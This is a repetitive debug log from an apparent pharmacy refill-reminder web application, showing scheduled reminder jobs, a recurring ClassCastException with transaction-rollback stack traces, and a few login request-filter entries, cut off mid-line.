false 2024-02-27 01:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:36:09 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/___proxy_subdomain_webdisk/ 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:36:09 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:36:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:41:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:41:39 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:39 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested 